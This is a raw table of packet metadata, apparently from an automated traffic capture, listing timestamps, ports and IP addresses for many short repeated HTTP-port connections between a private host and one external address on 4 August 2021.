Aug 4, 2021 13:56:40.590625048 CEST	49796	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.609256983 CEST	80	49796	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.609368086 CEST	49796	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.626280069 CEST	80	49796	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.854363918 CEST	80	49796	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.854419947 CEST	80	49796	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:40.854537964 CEST	49796	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.854756117 CEST	49796	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:40.872848034 CEST	80	49796	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.072567940 CEST	49797	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.089926958 CEST	80	49797	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.090130091 CEST	49797	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.094516039 CEST	49797	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.113370895 CEST	80	49797	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.113538980 CEST	49797	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.132678032 CEST	80	49797	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.368243933 CEST	80	49797	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.368340969 CEST	80	49797	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.368520975 CEST	49797	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.369666100 CEST	49797	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.388391972 CEST	80	49797	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.590056896 CEST	49798	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.607172966 CEST	80	49798	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.607290030 CEST	49798	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.610622883 CEST	49798	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.627749920 CEST	80	49798	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.627846956 CEST	49798	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.644768953 CEST	80	49798	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.870914936 CEST	80	49798	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.870973110 CEST	80	49798	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:41.871085882 CEST	49798	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.871134043 CEST	49798	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:41.888665915 CEST	80	49798	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.096792936 CEST	49799	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.115174055 CEST	80	49799	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.115300894 CEST	49799	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.119364977 CEST	49799	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.138253927 CEST	80	49799	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.138760090 CEST	49799	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.157152891 CEST	80	49799	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.403683901 CEST	80	49799	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.403714895 CEST	80	49799	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.403883934 CEST	49799	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.403975010 CEST	49799	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.421036959 CEST	80	49799	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.609189034 CEST	49800	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.626357079 CEST	80	49800	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.626611948 CEST	49800	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.634718895 CEST	49800	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.651668072 CEST	80	49800	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.651897907 CEST	49800	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.668834925 CEST	80	49800	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.916326046 CEST	80	49800	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.916404009 CEST	80	49800	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:42.916650057 CEST	49800	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.916778088 CEST	49800	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:42.935448885 CEST	80	49800	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.124887943 CEST	49801	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.143225908 CEST	80	49801	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.143454075 CEST	49801	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.156431913 CEST	49801	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.174834013 CEST	80	49801	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.174913883 CEST	49801	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.191988945 CEST	80	49801	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.465104103 CEST	80	49801	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.465266943 CEST	49801	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.465303898 CEST	80	49801	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.465388060 CEST	49801	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.482376099 CEST	80	49801	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.673810959 CEST	49802	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.690857887 CEST	80	49802	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.691024065 CEST	49802	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.709604979 CEST	49802	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.726759911 CEST	80	49802	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.726866961 CEST	49802	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.743803024 CEST	80	49802	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.996556997 CEST	80	49802	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.996727943 CEST	80	49802	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:43.996756077 CEST	49802	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:43.996805906 CEST	49802	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.013792038 CEST	80	49802	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.190011978 CEST	49803	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.207012892 CEST	80	49803	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.207123041 CEST	49803	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.220294952 CEST	49803	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.238944054 CEST	80	49803	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.239041090 CEST	49803	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.257632971 CEST	80	49803	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.493273973 CEST	80	49803	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.493299961 CEST	80	49803	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.493390083 CEST	49803	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.493488073 CEST	49803	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.510314941 CEST	80	49803	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.688112974 CEST	49804	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.705291986 CEST	80	49804	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.705410957 CEST	49804	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.720383883 CEST	49804	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.738109112 CEST	80	49804	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.738248110 CEST	49804	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.757011890 CEST	80	49804	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.977229118 CEST	80	49804	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.977313042 CEST	80	49804	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:44.977384090 CEST	49804	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.977417946 CEST	49804	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:44.994499922 CEST	80	49804	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.195136070 CEST	49805	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.212097883 CEST	80	49805	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.212213993 CEST	49805	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.227924109 CEST	49805	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.244872093 CEST	80	49805	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.244949102 CEST	49805	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.262260914 CEST	80	49805	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.488110065 CEST	80	49805	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.488393068 CEST	49805	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.492835999 CEST	80	49805	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.492968082 CEST	49805	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.505271912 CEST	80	49805	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.719969034 CEST	49806	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.737019062 CEST	80	49806	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.738250017 CEST	49806	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.746232986 CEST	49806	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.763161898 CEST	80	49806	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:45.763290882 CEST	49806	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:45.780122042 CEST	80	49806	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.011816025 CEST	80	49806	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.012124062 CEST	49806	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.012142897 CEST	80	49806	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.012281895 CEST	49806	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.031904936 CEST	80	49806	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.203953028 CEST	49807	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.220926046 CEST	80	49807	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.221189976 CEST	49807	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.235435009 CEST	49807	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.254196882 CEST	80	49807	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.254350901 CEST	49807	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.271239996 CEST	80	49807	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.493997097 CEST	80	49807	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.494177103 CEST	80	49807	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.494232893 CEST	49807	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.494270086 CEST	49807	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.511087894 CEST	80	49807	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.744721889 CEST	49808	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.761703968 CEST	80	49808	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.761897087 CEST	49808	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.780678034 CEST	49808	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.797589064 CEST	80	49808	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:46.797702074 CEST	49808	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:46.814563990 CEST	80	49808	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.111270905 CEST	80	49808	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.111294031 CEST	80	49808	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.111391068 CEST	49808	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.111414909 CEST	49808	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.128294945 CEST	80	49808	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.320524931 CEST	49809	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.339850903 CEST	80	49809	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.339993954 CEST	49809	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.351881027 CEST	49809	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.373157978 CEST	80	49809	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.373248100 CEST	49809	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.390913010 CEST	80	49809	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.634291887 CEST	80	49809	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.634440899 CEST	80	49809	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.634448051 CEST	49809	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.634502888 CEST	49809	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.652611017 CEST	80	49809	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.840262890 CEST	49810	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.859374046 CEST	80	49810	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.859498024 CEST	49810	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.872030973 CEST	49810	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.890619040 CEST	80	49810	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:47.890769958 CEST	49810	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:47.909960032 CEST	80	49810	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.161591053 CEST	80	49810	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.161688089 CEST	80	49810	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.161880016 CEST	49810	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.162096977 CEST	49810	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.178978920 CEST	80	49810	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.383610964 CEST	49811	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.401510954 CEST	80	49811	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.401726007 CEST	49811	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.413921118 CEST	49811	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.432482958 CEST	80	49811	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.432580948 CEST	49811	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.450699091 CEST	80	49811	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.680712938 CEST	80	49811	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.680824041 CEST	80	49811	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.680849075 CEST	49811	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.680874109 CEST	49811	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.697637081 CEST	80	49811	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.909209967 CEST	49812	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.926191092 CEST	80	49812	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.926331997 CEST	49812	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.940231085 CEST	49812	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.957062006 CEST	80	49812	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:48.957149029 CEST	49812	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:48.976138115 CEST	80	49812	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.277582884 CEST	80	49812	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.277611017 CEST	80	49812	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.277818918 CEST	49812	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:49.277935028 CEST	49812	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:49.295325041 CEST	80	49812	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.504177094 CEST	49813	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:49.521152020 CEST	80	49813	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.521274090 CEST	49813	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:49.538588047 CEST	49813	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:49.557637930 CEST	80	49813	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.557708979 CEST	49813	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:49.576661110 CEST	80	49813	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.789832115 CEST	80	49813	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.789870977 CEST	80	49813	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:49.790102959 CEST	49813	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:49.790364027 CEST	49813	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:49.807301044 CEST	80	49813	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.009524107 CEST	49814	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.028276920 CEST	80	49814	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.029011011 CEST	49814	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.031990051 CEST	49814	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.053020000 CEST	80	49814	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.053241968 CEST	49814	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.071084023 CEST	80	49814	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.301953077 CEST	80	49814	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.302158117 CEST	49814	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.302202940 CEST	80	49814	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.302265882 CEST	49814	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.318937063 CEST	80	49814	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.534663916 CEST	49815	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.551754951 CEST	80	49815	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.551903009 CEST	49815	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.555386066 CEST	49815	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.573937893 CEST	80	49815	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.574076891 CEST	49815	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.593384981 CEST	80	49815	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.834464073 CEST	80	49815	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.834620953 CEST	49815	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.834692001 CEST	80	49815	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:50.834763050 CEST	49815	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:50.853530884 CEST	80	49815	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.073019028 CEST	49816	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.089997053 CEST	80	49816	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.090138912 CEST	49816	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.092839956 CEST	49816	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.109821081 CEST	80	49816	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.109962940 CEST	49816	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.127253056 CEST	80	49816	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.359790087 CEST	80	49816	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.359951019 CEST	80	49816	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.361125946 CEST	49816	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.361159086 CEST	49816	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.380629063 CEST	80	49816	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.599615097 CEST	49817	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.616504908 CEST	80	49817	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.616673946 CEST	49817	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.628360033 CEST	49817	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.645337105 CEST	80	49817	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.645441055 CEST	49817	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.662273884 CEST	80	49817	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.894992113 CEST	80	49817	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.895049095 CEST	80	49817	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:51.895200014 CEST	49817	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.895256996 CEST	49817	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:51.912368059 CEST	80	49817	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.162659883 CEST	49818	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.179630041 CEST	80	49818	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.179837942 CEST	49818	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.185091019 CEST	49818	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.202012062 CEST	80	49818	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.202174902 CEST	49818	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.219163895 CEST	80	49818	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.436801910 CEST	80	49818	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.437012911 CEST	80	49818	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.437084913 CEST	49818	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.437112093 CEST	49818	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.455632925 CEST	80	49818	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.641144991 CEST	49819	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.658154964 CEST	80	49819	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.658307076 CEST	49819	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.675185919 CEST	49819	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.692456007 CEST	80	49819	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.692598104 CEST	49819	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.709667921 CEST	80	49819	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.977264881 CEST	80	49819	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.977283001 CEST	80	49819	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:52.977365017 CEST	49819	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.977406025 CEST	49819	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:52.996697903 CEST	80	49819	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.170408964 CEST	49820	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.189018011 CEST	80	49820	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.189153910 CEST	49820	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.202526093 CEST	49820	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.221041918 CEST	80	49820	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.221162081 CEST	49820	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.239511967 CEST	80	49820	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.467519999 CEST	80	49820	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.467578888 CEST	80	49820	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.467660904 CEST	49820	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.468439102 CEST	80	49820	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.468619108 CEST	49820	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.673844099 CEST	49821	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.692354918 CEST	80	49821	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.692461014 CEST	49821	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.702727079 CEST	49821	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.721539021 CEST	80	49821	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.721636057 CEST	49821	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.741435051 CEST	80	49821	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.973052979 CEST	80	49821	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.973100901 CEST	80	49821	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:53.973268986 CEST	49821	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.973315954 CEST	49821	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:53.990457058 CEST	80	49821	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.203578949 CEST	49822	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.220546961 CEST	80	49822	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.220669031 CEST	49822	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.231933117 CEST	49822	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.250806093 CEST	80	49822	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.250933886 CEST	49822	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.269385099 CEST	80	49822	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.485878944 CEST	80	49822	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.485917091 CEST	80	49822	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.485991001 CEST	49822	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.486059904 CEST	49822	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.503350019 CEST	80	49822	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.684778929 CEST	49823	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.701706886 CEST	80	49823	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.701797962 CEST	49823	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.731630087 CEST	49823	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.750833988 CEST	80	49823	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.750976086 CEST	49823	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.768054008 CEST	80	49823	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.985045910 CEST	80	49823	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.985141993 CEST	80	49823	172.67.155.45	192.168.2.5
Aug 4, 2021 13:56:54.985217094 CEST	49823	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:54.985244989 CEST	49823	80	192.168.2.5	172.67.155.45
Aug 4, 2021 13:56:55.004851103 CEST	80	49823	172.67.155.45	192.168.2.5
